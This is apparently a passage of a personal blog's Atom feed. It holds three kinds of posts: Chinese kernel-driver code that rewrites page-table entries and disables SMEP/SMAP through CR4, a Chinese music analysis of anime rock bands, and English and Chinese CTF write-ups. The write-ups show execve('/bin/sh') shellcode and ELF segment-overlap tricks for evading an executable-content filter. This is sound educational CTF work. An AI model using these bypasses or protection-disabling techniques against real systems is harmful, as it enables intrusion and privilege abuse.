pdpBase;</span><br><span class="line">PML4 &amp;= ~(<span class="number">1ULL</span> &lt;&lt; <span class="number">63</span>);</span><br><span class="line">WritePhysicalAddress(pml4Entry, &amp;PML4, <span class="keyword">sizeof</span>(UINT64));</span><br><span class="line">pdpBase &amp;= <span class="number">0x7fffff000</span>;</span><br><span class="line">UINT64* pdpEntry = (UINT64*)(pdpBase + pdpIndex * <span class="keyword">sizeof</span>(UINT64));</span><br><span class="line"><span class="comment">//if (!(*pdpEntry &amp; 1)) return STATUS_UNSUCCESSFUL;</span></span><br><span class="line"></span><br><span class="line">UINT64 pdBase = <span class="number">0</span>;</span><br><span class="line">ReadPhysicalAddress(pdpEntry, &amp;pdBase, <span class="keyword">sizeof</span>(UINT64));</span><br><span class="line">pdBase &amp;= <span class="number">0x7fffff000</span>;</span><br><span class="line">UINT64* pdEntry = (UINT64*)(pdBase + pdIndex * <span class="keyword">sizeof</span>(UINT64));</span><br><span class="line"><span class="comment">//if (!(*pdEntry &amp; 1)) return STATUS_UNSUCCESSFUL;</span></span><br><span class="line"></span><br><span class="line">UINT64 ptBase = <span class="number">0</span>;</span><br><span class="line">ReadPhysicalAddress(pdEntry, &amp;ptBase, <span class="keyword">sizeof</span>(UINT64));</span><br><span class="line">ptBase &amp;= <span class="number">0x7fffff000</span>;</span><br><span class="line">UINT64* ptEntry = (UINT64*)(ptBase + ptIndex * <span class="keyword">sizeof</span>(UINT64));</span><br><span class="line"></span><br><span class="line">UINT64 PTE = <span class="number">0</span>;</span><br><span class="line"><span class="comment">//for (size_t i = 0; i &lt; 1; i++)  由于页表在物理内存中不一定连续，因此这里不能简单地使用循环来为多个页设置权限。我只需要一个页有可执行权限，因此只写了一条。</span></span><br><span class="line">&#123;</span><br><span class="line">    ReadPhysicalAddress((PVOID)((UINT64)ptEntry<span class="comment">/* + i * sizeof(UINT64)*/</span>), &amp;PTE, <span class="keyword">sizeof</span>(UINT64));</span><br><span class="line">    PTE &amp;= ~(<span class="number">1ULL</span> &lt;&lt; <span class="number">63</span>);</span><br><span class="line">    WritePhysicalAddress((PVOID)((UINT64)ptEntry<span class="comment">/* + i * sizeof(UINT64)*/</span>), &amp;PTE, <span class="keyword">sizeof</span>(UINT64));</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>以下两个函数修改自网络，印象中好像是从看雪论坛上找的。  </p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line">NTSTATUS <span class="title function_">ReadPhysicalAddress</span><span class="params">(IN PVOID64 address, OUT PVOID64 buffer,</span></span><br><span class="line"><span class="params">    IN SIZE_T size)</span></span><br><span class="line">&#123;</span><br><span class="line">    MM_COPY_ADDRESS Read = &#123; <span class="number">0</span> &#125;;</span><br><span class="line">    Read.PhysicalAddress.QuadPart = (LONG64)address;</span><br><span class="line">    SIZE_T BytesTransferred;</span><br><span class="line">    <span class="keyword">return</span> MmCopyMemory(</span><br><span class="line">        buffer, Read, size, MM_COPY_MEMORY_PHYSICAL, &amp;BytesTransferred);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">NTSTATUS <span class="title function_">WritePhysicalAddress</span><span class="params">(IN PVOID64 address, IN PVOID64 buffer,</span></span><br><span class="line"><span class="params">    IN SIZE_T size)</span></span><br><span class="line">&#123;</span><br><span class="line">    PVOID            <span class="built_in">map</span>;</span><br><span class="line">    PHYSICAL_ADDRESS Write = &#123; <span class="number">0</span> &#125;;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (!address) &#123;</span><br><span class="line">        KdPrint((<span class="string">&quot;Address value error: %p\r\n&quot;</span>, address));</span><br><span class="line">        <span class="keyword">return</span> STATUS_UNSUCCESSFUL;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    Write.QuadPart = (LONG64)address;</span><br><span class="line">    <span class="built_in">map</span> = MmGetVirtualForPhysical(Write);</span><br><span class="line"></span><br><span class="line">    KdPrint((<span class="string">&quot;WritePhysicalAddress.map: %p\r\n&quot;</span>, <span class="built_in">map</span>));</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> (!<span class="built_in">map</span>) &#123;</span><br><span class="line">        KdPrint((<span class="string">&quot;Write Memory faild: %p, %p\r\n&quot;</span>, address, <span class="built_in">map</span>));</span><br><span class="line">        <span class="keyword">return</span> STATUS_UNSUCCESSFUL;</span><br><span class="line">    &#125;</span><br><span class="line">    RtlCopyMemory(<span class="built_in">map</span>, buffer, size);</span><br><span class="line">    <span class="keyword">return</span> STATUS_SUCCESS;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>要让一个页有可执行权限，需要让它在页表中的项所在的“一串”项都有可执行权限。我动态调试观察了一下，所以只修改了需要修改的项。</p><p>这里我原本的思路是获取到页表的虚拟地址，但是实践起来发现并不容易。最终选择了用物理地址配合 <code>MmCopyMemory</code>、<code>MmGetVirtualForPhysical</code> 的方案。</p><p>需要关掉 <code>SMAP</code> 和<code>SMEP</code>。由于我们目前为内核态权限，这俩会阻止我们通过新分配的虚拟地址（为用户态内存）访问这块内存。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">unsigned</span> <span class="type">long</span> <span class="type">long</span> cr4 = __readcr4();</span><br><span class="line">cr4 &amp;= ~((<span class="number">1UL</span> &lt;&lt; <span class="number">20</span>) | (<span class="number">1UL</span> &lt;&lt; <span class="number">21</span>));</span><br><span class="line">__writecr4(cr4);</span><br></pre></td></tr></table></figure><p>最后，非常重要的，刷新页表缓存，使得刚才的修改立刻生效。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">__invlpg(unrealNextProg);</span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">&lt;p&gt;有预感某个项目或许会失败，所以先把可能有价值的这部分记录一下。&lt;/p&gt;</summary>
    
    
    
    <category term="DEV" scheme="https://tyatt.top/categories/DEV/"/>
    
    
    <category term="C" scheme="https://tyatt.top/tags/C/"/>
    
    <category term="kernel" scheme="https://tyatt.top/tags/kernel/"/>
    
  </entry>
  
  <entry>
    <title>当你刷知乎并发现有人试图给少女乐队排序</title>
    <link href="https://tyatt.top/2025/05/08/analyze-btr-mygo-gbc/"/>
    <id>https://tyatt.top/2025/05/08/analyze-btr-mygo-gbc/</id>
    <published>2025-05-07T16:02:00.000Z</published>
    <updated>2025-09-27T16:06:25.050Z</updated>
    
    <content type="html"><![CDATA[<p><a href="https://www.zhihu.com/question/657313892/answer/3523689003">https://www.zhihu.com/question/657313892/answer/3523689003</a></p><span id="more"></span><p> 个人意见 纽带和 gbc 不好排，mygo 在后面。</p><p> 毕竟是 anisong，三个乐队的歌都能听到很多相似的乐句。（尤其是 mygo，名無声的前奏后半段和 roselia 的 neo-aspect 的 riff 几乎一样，首调的 17535 确实好听好用，但用多了听起来也确实腻）</p><p> 纽带乐队的主音吉他副旋律与 gbc 的钢琴部分绝对是突出的，也有很多新意。比如孤独东京的空弦扫弦和点弦以及副旋律整体。刻板印象中点弦可能是数学摇滚的技法，但用在这里效果很好。全曲吉他演奏的副旋律没有用到一个四级音 4，但用了很多跳进，在保守的六声音阶里带来了新鲜的听感。相比来说，mygo 的各乐器就要均衡一些。我尤其对用了很多套路乐句的歌不太感冒，这些“久经考验”的旋律第一次听确实好听，但太容易听腻了。在少用套路乐句这方面做的最好的是 gbc，其次是纽带乐队和后期的 mygo，早期 mygo 就差一些。</p><p> 配器上，看一些 cover，几乎不用现场演出的纽带乐队反而比较固定，大部分段落只有两把吉他。gbc 一般也是规整的两把吉他，但他们现场只有一个吉他手啊¿。mygo 的编曲配器不太在乎这个事，经常多把吉他一起叠音色，比如潜在表明的朗诵段落，叠了至少两把节奏吉他和一把主音吉他，再比如迷星叫的吉他 solo 175 721 两遍，第二遍就在上方三度又叠了一把吉他，旋律大致是 325 723。总的来说，这联系到一个现实存在且只有两位吉他手的乐队就有点违和，不过录音室效果确实不错。更满的声音可能更符合当代（日本）流行乐审美。</p><p> 和弦进行部分，纽带乐队经常把经典流行套路和爵味混搭（听感其实不是很明显）。gbc 除去空之箱，和 mygo 后期的歌，和弦进行比较随性，是独立摇滚的感觉。空之箱整首曲子 4563 没变过，倒是钻石之尘的新版本有将部分段落的进行换成 6415。mygo 早期有几首歌比如名無声和迷星叫，可能是因为早期还没有确定风格，套路进行用的比较多。</p><p>gbc 的所谓理想悖论，吉他大量 delay 效果器，十分有 tk 的感觉。他们的很多歌无论是和弦进行还是 riff 也非常独立摇滚。对比下纽带乐队就稍微有点奇怪，可能是乐理水平过高了（。还有 gbc 那首 op 里的变拍子，很鲜明，是个很好的标志，也让我期待以后能不能在 anisong 里听到更多的的新东西。mygo 很多歌也有很好的 44 86 变拍子，不过那些歌大部分不如说就是建立在 332 和 333322 的节奏型上的，变到 86 拍听感上也不会很突出。</p><p>mygo 的诗朗诵很独特，我尤其喜欢潜在表明。只将人声作为一种乐器来看，某些乐段使用叙述而非歌唱的人声也很合适。但后面很多歌好像放弃了这个形式。</p><hr><p> 纽带与 gbc 都很强，但不强在一个地方。</p><p> 选突出的来说，纽带乐队的编曲强在很传统的主音吉他声部的旋律写作上。主音吉他在大部分歌里有完整的旋律线，和人声交错，几乎不冲突。这很传统，可以追溯到巴赫时期的复调音乐（当然纽带的主音吉他和人声旋律并没有复调音乐那样复杂的对位关系，但在流行乐标准内绝对是和谐的），也很强。现在大部分摇滚向歌曲的人声段落的主音吉他编配几乎都是和声为主，能有完整旋律线且和人声不冲突就非常非常少了。包括 gbc。gbc 的曲子里人声部分也很少见有完整旋律线的乐器。它的吉他一般不会很难，只会在非人声段落有一些华彩片段。钢琴可能比较突出，但也偏和声，而非另一条旋律。</p><p>gbc 强的地方更现代。它对效果器的运用更成熟，相位、延迟等等效果都用的恰到好处，比如用相位效果做过度，和吊镲滚奏渐强的传统过度音效有相似之处，但就很新鲜。这种编配不仅是给人声配和声，更是复杂的声音设计，是非常当代的流行乐编配方式。纽带的吉他效果器非常有限，bd2（网上传闻这个块失真开大音色像 fuzz），rat 俩破音类，一个哇音踏板，都不是新东西，上世纪 60 年代就有这类音色了。</p><hr><p>mygo 的混音不太行，似乎是流媒体平台版本音质的问题。gbc 的大部分歌在合奏时钢琴的声音不会在很前面，但反例是最新的那首命运之花。尾奏那几个钢琴柱式和弦出来我直接惊了，不理解为什么这么编，也不理解为什么这么混：吉他在后面努力扫弦、拨片刮弦来推情绪，结果钢琴在前面砸色彩模糊的和弦，全抵消掉了。低频也不是很足，托不太起来主唱拼命的声音，整个声音就像在空中散乱地飘着，太怪了。</p><p> 但为什么会有钢琴和吉他谁在前谁在后还打架的问题呢？相对的，纽带乐队的混音会清晰很多很多。大部分时候两把吉他是分别在极左极右的，带耳机的话半边耳机几乎完全听不到另外半边的吉他的声音。而且两把吉他位置都很靠前，听起来就非常清晰。贝斯和架子鼓稳稳在中间托着人声。整体上所有声音几乎完全不打架。当然，这也有他们乐器少的缘故，但这个混音思路我觉得是有价值的。</p><p>mygo 和 gbc 的混音听起来是所有乐器都集中在中间。gbc 可能是因为需要吉他扫弦给钢琴铺底，但也不能把弹单音的主音吉他和人声混到一个位置上啊，结果只能是其中一方降低音量做闪避，但又听不清了，整体还很混乱（大部分歌其实不太明显，我还是特别针对命运之花这歌）。mygo 就怪了，只有吉他和人声占中高频，完全可以把声场再扩宽一些的。<br> 有听说日本近年来的混音倾向是做出手机外放能听着好听的歌，不知道这有没有影响 mygo 与 gbc 的混音。</p><hr><p> 关于音乐的结构，gbc 习惯上会把电吉他 solo 放到第二遍主歌与副歌之间，这似乎不太寻常。结束乐队和 mygo 很多曲子都是副歌完接 solo，solo 完再接副歌变奏（少部分曲子这段会是新旋律）。</p><p> 也会有结构上有变化的曲子，比如 mygo 动画里的迷路日々，基本上是两部分来回重复，各有小变化；还有詩超絆，感觉这首编曲方向就像是为诗朗诵配乐，编曲（配器、结构等）和词强相关，结尾那段降速转 86 拍的设计也不太常见。</p><p> 结束乐队的例子是我最喜欢的小さな海。它的结构大概是（未计入纯乐器部分）：ABC (倍速) AD solo BC (半速)。这曲子里一些我喜欢的点：半速部分的架子鼓节奏型、倍速带来的活力与动力、从藏在人声下面发展到 20 品高音的流畅且悦耳的电吉他 solo、BPM 和主音吉他编配不同带来的两遍 B 段完全不一样的听感。</p><hr><p> 回看 mygo 第十集又听了遍詩超絆，来说说另一种相对“省脑子”的主音吉他副旋律写作方式。</p><p> 第一部分（军鼓滚奏部分）和最后降速转 86 拍的部分，主音吉他演奏的可以算是 riff。</p><p> 其中第一部分主要为分解和弦重复的形式。我吉他新手所以不确定那些分解和弦是吉他默认常用和弦手型摁下去就是那个排列，还是编曲人有设计过。总之，这么编的时候不必局限在和弦组成音内，可以去用这个和弦对应的音阶里的音。举个例子比如 C 和弦，组成音是 C E G。这时候完全不需要只用这三个音去编写，可以用 C 这个和弦对应的音阶去编写。考虑到这是流行音乐那么五声音阶就很合适，对应到 C 和弦上就是 C 宫，CDEGA，稍微缩减范围的话可以去掉 A。当然如果不纯粹追求悦耳的话用 Clydian C D E F# A B 也不会有什么错。再比如 Em 和弦，就可以用 E 角 EGACD。旋律的编写能强调好主音就行。另外也别完全不用和弦组成音。</p><p> 最后降速的那部分则是日本流行音乐常见的另一种 riff 编写方式：基本不管当前和弦是什么，就用调内自然大调音阶的一级 1 二级 2 三级 3 五级 5 七级音 7（ⅠMaj9 和弦内音）去写 riff。乍一看这可能有点奇怪：四级和弦原本是大和弦，配七级音不成属和弦了吗？但日本流行在 456/4536 和弦进行上这么搞的一大堆，还都挺好听。这么做的一个缺点是很容易写出重复、套路的乐句，就没啥意思了。</p><p> 詩超絆中间那部分的主音吉他就有点旋律线的感觉了。整体上还是“弹当前和弦”、“弹ⅠMaj9 和弦”的组合。依旧，弹和弦不是真只弹和弦内音，可以适当加一些和弦对应的音阶的音进去。在一个短乐句里，由当前和弦的音转 / 连接到ⅠMaj9 和弦的音上去也是编写的一种选择，这部分的主音吉他有一些乐句大体上就是这样的。中间部分的后半段情绪开始起来的时候，主音吉他声部里“ⅠMaj9 和弦”的占比明显增加。这里会有一些快速的乐句来推情绪。另外，副旋律简单时，善用八度音双音技法可以让主音吉他声部听起来更“饱满”。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;&lt;a href=&quot;https://www.zhihu.com/question/657313892/answer/3523689003&quot;&gt;https://www.zhihu.com/question/657313892/answer/3523689003&lt;/a&gt;&lt;/p&gt;</summary>
    
    
    
    <category term="music" scheme="https://tyatt.top/categories/music/"/>
    
    
    <category term="music" scheme="https://tyatt.top/tags/music/"/>
    
    <category term="jpop" scheme="https://tyatt.top/tags/jpop/"/>
    
  </entry>
  
  <entry>
    <title>squ1rrel CTF 2025 writeup in English</title>
    <link href="https://tyatt.top/2025/04/10/squ1rrel-CTF-2025-writeup-in-English/"/>
    <id>https://tyatt.top/2025/04/10/squ1rrel-CTF-2025-writeup-in-English/</id>
    <published>2025-04-09T16:03:00.000Z</published>
    <updated>2025-09-27T16:13:10.770Z</updated>
    
    <content type="html"><![CDATA[<p>Solved two PWN challenges, documenting the process here.</p><p>Click <a href="/2025/04/09/squ1rrel-CTF-2025-writeup/">here</a> to visit the original Chinese version.</p><span id="more"></span><h2 id="Extremely-Lame-Filters-1"><a href="#Extremely-Lame-Filters-1" class="headerlink" title="Extremely Lame Filters 1"></a>Extremely Lame Filters 1</h2><p>The challenge provides two files: <code>fairy.py</code> and <code>elf.py</code>. <code>elf.py</code> is an ELF file parser, while <code>fairy.py</code> is the main program.</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/python3</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> elf <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> base64 <span class="keyword">import</span> b64decode</span><br><span class="line"></span><br><span class="line">data = b64decode(<span class="built_in">input</span>(<span class="string">&quot;I&#x27;m a little fairy and I will trust any ELF that comes by!!&quot;</span>))</span><br><span class="line">elf = parse(data)</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> section <span class="keyword">in</span> elf.sections:</span><br><span class="line">    <span class="keyword">if</span> section.sh_flags &amp; SectionFlags.EXECINSTR:</span><br><span class="line">        <span class="keyword">raise</span> ValidationException(<span class="string">&quot;!!&quot;</span>)</span><br><span class="line"></span><br><span class="line">elf.run()</span><br></pre></td></tr></table></figure><p>The program accepts a base64-encoded string as input, decodes it into an ELF file, and checks whether the file contains any executable sections. If none exist, it executes the ELF.</p><p>This involves knowledge of ELF file structure: sections and segments are parallel concepts. The loader ignores section information when loading ELFs. Even if section headers are completely removed using <code>strip --strip-section-headers</code>, the program can still run normally.</p><p>The solution is to manually modify the section information in the ELF file using a hex editor. Compile a program like the following into an ELF, then modify the executable permission flags (originally 06) in the section headers to 02 (non-executable) while preserving the actual executable segments.</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">    system(<span class="string">&quot;/bin/sh&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><hr><h2 id="Extremely-Lame-Filters-2"><a href="#Extremely-Lame-Filters-2" class="headerlink" title="Extremely Lame Filters 2"></a>Extremely Lame Filters 2</h2><p>An upgraded version of the previous challenge. The modified <code>fairy.py</code> now checks: the program will only run if it not contains executable segments with non-zero content.</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/python3</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> elf <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> base64 <span class="keyword">import</span> b64decode</span><br><span class="line"></span><br><span class="line">data = b64decode(<span class="built_in">input</span>(<span class="string">&quot;I&#x27;m a little fairy and I will trust any ELF that comes by!! (almost any)&quot;</span>))</span><br><span class="line">elf = parse(data)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> elf.header.e_type != constants.ET_EXEC:</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;!!&quot;</span>)</span><br><span class="line">    exit(<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> segment <span class="keyword">in</span> elf.segments:</span><br><span class="line">    <span class="keyword">if</span> segment.p_flags &amp; SegmentFlags.X:</span><br><span class="line">        content = elf.content(segment)</span><br><span class="line">        <span class="keyword">for</span> byte <span class="keyword">in</span> content:</span><br><span class="line">            <span class="keyword">if</span> byte != <span class="number">0</span>:</span><br><span class="line">                <span class="built_in">print</span>(<span class="string">&quot;&gt;:(&quot;</span>)</span><br><span class="line">                exit(<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line">elf.run()</span><br></pre></td></tr></table></figure><p>Unlike sections, the loader sets memory permissions based on segment information. If the machine code resides in non-executable memory, it will cause a segmentation fault. Thus, simply modifying permissions won’t work here.</p><p>A viable approach (and the one I used) is <strong>segment overlapping</strong>: construct multiple segments in the ELF where:</p><ol><li>The machine code segment has no execute permission and appears earlier in the program header table.</li><li>A blank executable segment with the same virtual address appears later in the table.</li><li>The machine code entry point starts at offset <code>n</code> within its segment, while the blank segment’s size is exactly <code>n</code> (n ≠ 0). This ensures the blank segment’s permissions override the original segment’s permissions during loading.</li></ol><p>This leverages the loader to copy the machine code into executable memory while passing the challenge’s checks.</p><p>To simplify segment management, I wrote assembly code:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">BITS 64</span><br><span class="line"></span><br><span class="line">section .text</span><br><span class="line">    global _start</span><br><span class="line">times 0x10 db 0</span><br><span class="line">_start:</span><br><span class="line">    sub rsp, 8              </span><br><span class="line">    mov byte [rsp], 0x2f    ; &#x27;/&#x27;</span><br><span class="line">    mov byte [rsp+1], 0x62  ; &#x27;b&#x27;</span><br><span class="line">    mov byte [rsp+2], 0x69  ; &#x27;i&#x27;</span><br><span class="line">    mov byte [rsp+3], 0x6e  ; &#x27;n&#x27;</span><br><span class="line">    mov byte [rsp+4], 0x2f  ; &#x27;/&#x27;</span><br><span class="line">    mov byte [rsp+5],  0x73 ; &#x27;s&#x27;</span><br><span class="line">    mov byte [rsp+6],  0x68 ; &#x27;h&#x27;</span><br><span class="line">    mov byte [rsp+7], 0x00  ; null terminator</span><br><span class="line"></span><br><span class="line">    xor rsi, rsi            ; argv = NULL</span><br><span class="line">    xor rdx, rdx            ; envp = NULL</span><br><span class="line">    lea rdi, [rsp]          ; rdi = pointer to &quot;/bin/sh&quot; </span><br><span class="line">    mov eax, 59             ; syscall number for execve</span><br><span class="line">    syscall                 ; execve(&quot;/bin/sh&quot;, NULL, NULL)</span><br><span class="line"></span><br><span class="line">section .rodata</span><br><span class="line">times 8 dq 0</span><br></pre></td></tr></table></figure><p>With a custom linker script:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">ENTRY(_start)</span><br><span class="line"></span><br><span class="line">SECTIONS</span><br><span class="line">&#123;</span><br><span class="line">    . = 0x400000;</span><br><span class="line"></span><br><span class="line">    .text 0x400000 : &#123;</span><br><span class="line">        *(.text)</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    .text_exe 0x400000 : &#123;</span><br><span class="line">        . = . + 0x1000;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    .rodata 0x402000 : &#123;</span><br><span class="line">        *(.rodata)</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>After compilation, I manually modify the ELF:</p><ol><li>Remove executable permission from the <code>.text</code> segment.</li><li>Add executable permission to the <code>.text_exe</code> segment.</li></ol><p>The diagram below illustrates the modifications:</p><p><img src="https://s21.ax1x.com/2025/04/09/pEgvGZR.png" alt="wp.png"></p><p>Finally, use Python’s base64 encoding and pwntools to upload the file to the competition platform. Executing <code>cat ./flag.txt</code> yields the flag.</p><hr><p>After solving the second challenge, I discussed it with c10uds, who proposed a much simpler approach: Write a program similar to the first challenge, ensure the first <em>n</em> bytes of the executable segment are zeros, then directly set the executable segment’s size to <em>n</em>. This would pass the check in <code>elf.py</code> while still allowing the loader to properly load and execute the full segment.  </p><p>I was stunned.</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;Solved two PWN challenges, documenting the process here.&lt;/p&gt;
&lt;p&gt;Click &lt;a href=&quot;/2025/04/09/squ1rrel-CTF-2025-writeup/&quot;&gt;here&lt;/a&gt; to visit the original Chinese version.&lt;/p&gt;</summary>
    
    
    
    <category term="DEV" scheme="https://tyatt.top/categories/DEV/"/>
    
    
    <category term="ctf" scheme="https://tyatt.top/tags/ctf/"/>
    
  </entry>
  
  <entry>
    <title>squ1rrel CTF 2025 writeup</title>
    <link href="https://tyatt.top/2025/04/09/squ1rrel-CTF-2025-writeup/"/>
    <id>https://tyatt.top/2025/04/09/squ1rrel-CTF-2025-writeup/</id>
    <published>2025-04-09T15:26:00.000Z</published>
    <updated>2025-09-27T16:13:17.033Z</updated>
    
    <content type="html"><![CDATA[<p>写了两道 PWN 的题，记录一下。</p><span id="more"></span><h2 id="Extremely-Lame-Filters-1"><a href="#Extremely-Lame-Filters-1" class="headerlink" title="Extremely Lame Filters 1"></a>Extremely Lame Filters 1</h2><p>题目给了两个文件 <code>fairy.py</code> 和 <code>elf.py</code>，<code>elf.py</code>就是一个 elf 文件解析器，<code>fairy.py</code>是主程序。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/python3</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> elf <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> base64 <span class="keyword">import</span> b64decode</span><br><span class="line"></span><br><span class="line">data = b64decode(<span class="built_in">input</span>(<span class="string">&quot;I&#x27;m a little fairy and I will trust any ELF that comes by!!&quot;</span>))</span><br><span class="line">elf = parse(data)</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> section <span class="keyword">in</span> elf.sections:</span><br><span class="line">    <span class="keyword">if</span> section.sh_flags &amp; SectionFlags.EXECINSTR:</span><br><span class="line">        <span class="keyword">raise</span> ValidationException(<span class="string">&quot;!!&quot;</span>)</span><br><span class="line"></span><br><span class="line">elf.run()</span><br></pre></td></tr></table></figure><p>可以看出它通过输入获得一个 base64 编码的字符串，解码成一个 elf 文件，检验其是否存在可执行的 section，若不存在则执行它。</p><p>这里涉及一个 elf 文件结构方面的知识：section 和 segment 是并列的，加载器加载 elf 时不会关注 section 的相关信息。即使使用 <code>strip --strip-section-headers</code> 命令将 section 相关的信息全删了，程序仍然可以正常运行。</p><p>因此这题直接用十六进制编辑器手动更改 elf 文件的 section 信息。写一个类似下面的程序，编译成 elf，对照 elf 结构，将 section header 里表示可执行权限的 06 全改成 02 就行了。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">    system(<span class="string">&quot;/bin/sh&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><hr><h2 id="Extremely-Lame-Filters-2"><a href="#Extremely-Lame-Filters-2" class="headerlink" title="Extremely Lame Filters 2"></a>Extremely Lame Filters 2</h2><p>前一道题的升级版。这题的 <code>fairy.py</code> 的逻辑变为了：仅当程序内不存在内容非零的可执行 segment 时，才会运行此程序。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/python3</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> elf <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> base64 <span class="keyword">import</span> b64decode</span><br><span class="line"></span><br><span class="line">data = b64decode(<span class="built_in">input</span>(<span class="string">&quot;I&#x27;m a little fairy and I will trust any ELF that comes by!! (almost any)&quot;</span>))</span><br><span 